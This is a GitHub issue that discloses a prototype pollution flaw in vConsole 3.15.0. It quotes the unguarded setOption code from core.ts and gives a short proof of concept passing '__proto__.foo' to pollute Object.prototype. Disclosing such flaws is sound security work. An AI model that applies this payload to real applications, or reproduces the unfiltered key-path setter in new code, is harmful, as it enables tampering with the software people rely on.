Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype Pollution in core.ts #616

Open
zer0dia opened this issue Apr 4, 2023 · 0 comments
Open

Prototype Pollution in core.ts #616

zer0dia opened this issue Apr 4, 2023 · 0 comments

Comments

@zer0dia
Copy link

zer0dia commented Apr 4, 2023

vConsole Version: 3.15.0

issue

vConsole/src/core/core.ts

Lines 519 to 542 in 346ae64

public setOption(keyOrObj: any, value?: any) {
if (typeof keyOrObj === 'string') {
// parse `a.b = val` to `a: { b: val }`
const keys = keyOrObj.split('.');
let opt: any = this.option;
for (let i = 0; i < keys.length - 1; i++) {
if (opt[keys[i]] === undefined) {
opt[keys[i]] = {};
}
opt = opt[keys[i]];
}
opt[keys[keys.length - 1]] = value;
this._triggerPluginsEvent('updateOption');
this._updateComponentByOptions();
} else if (tool.isObject(keyOrObj)) {
for (let k in keyOrObj) {
this.option[k] = keyOrObj[k];
}
this._triggerPluginsEvent('updateOption');
this._updateComponentByOptions();
} else {
console.debug('[vConsole] The first parameter of `vConsole.setOption()` must be a string or an object.');
}
}

Possible prototype pollution due to incorrect key and value resolution in setOptions in core.ts.

poc

var vConsole = new window.VConsole();
vConsole.setOption("__proto__.foo","bar");
vConsole.setOption("__proto__.noOrig",1);
console.log(Object.prototype.foo);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant